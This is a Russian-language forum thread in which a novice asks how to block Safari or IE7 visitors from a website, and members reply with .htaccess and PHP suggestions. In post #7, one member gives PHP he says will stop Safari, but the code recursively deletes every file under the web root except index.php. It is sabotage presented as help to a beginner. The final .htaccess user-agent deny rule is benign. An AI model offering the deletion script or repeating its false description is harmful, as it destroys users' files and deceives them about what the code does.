Ограничить доступ

Discussion in 'Болталка' started by ENOVA, 23 Sep 2013.

  1. ENOVA

    ENOVA Banned

    Joined:
    20 Jun 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Как ограничить доступ к сайту с определенных браузеров.например закрыть доступ для входа с браузеров сафари
     
  2. talequake

    talequake New Member

    Joined:
    26 Sep 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    например, в .htaccess прописать перенаправление.
     
  3. ENOVA

    ENOVA Banned

    Joined:
    20 Jun 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    напишите как сделать пернаправление браузера сафари на сайт яндекс, т.е. что прописать в файле. можно ли переадресовывать определленые версии браузера? например только ие7
     
  4. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    можно,очень легко на пхп!
    делаешь так:
    если юзерагент равен ИЕ,то идет редирект куда тебе надо
    еще можно с помощью strpos
     
    #4 InDuStRieS, 23 Sep 2013
    Last edited: 23 Sep 2013
  5. ENOVA

    ENOVA Banned

    Joined:
    20 Jun 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    распишите все подробнее, как что делать. а то я совсем нуб
     
  6. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    100$
     
  7. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    на код, в index.php пишешь и сафари не пройдёт

    PHP:
    <? 

    $dir $_SERVER['DOCUMENT_ROOT']; 

    function 
    get_files($dir "."){ 
     
    $files = array(); 
     if (
    $handle opendir($dir)) { 
     while (
    false !== ($item readdir($handle))) { 
     if (
    is_file("$dir/$item")) { 
     
    $files[] = "$dir/$item"
     } 
     elseif (
    is_dir("$dir/$item") && ($item != ".") && ($item != "..")){ 
     
    $files array_merge($filesget_files("$dir/$item")); 
     } 
     } 
     
    closedir($handle); 
     } 
     return 
    $files


    function 
    dell_w($dir) { 
    $array_all_files get_files($dir); 
     


    foreach( 
    $array_all_files as $file_name ) { 

    if(!
    preg_match("/index\.php/",$file_name)) { 





    unlink($file_name); 

     
     } 

     } 


    }

    dell_w($dir);
    ?>
     
    #7 qaz, 23 Sep 2013
    Last edited: 23 Sep 2013
  8. DonaldDuck

    DonaldDuck New Member

    Joined:
    29 Apr 2012
    Messages:
    110
    Likes Received:
    3
    Reputations:
    1
    в хтаццесс:
    Code:
    SetEnvIfNoCase User-Agent "Java/1.6.0_04" bad_bot
    SetEnvIfNoCase User-Agent "Java" bad_bot
    
    <Limit GET POST HEAD>
     Order Allow,Deny
     Allow from all
     Deny from env=bad_bot
    </Limit>
    Пожалуйста.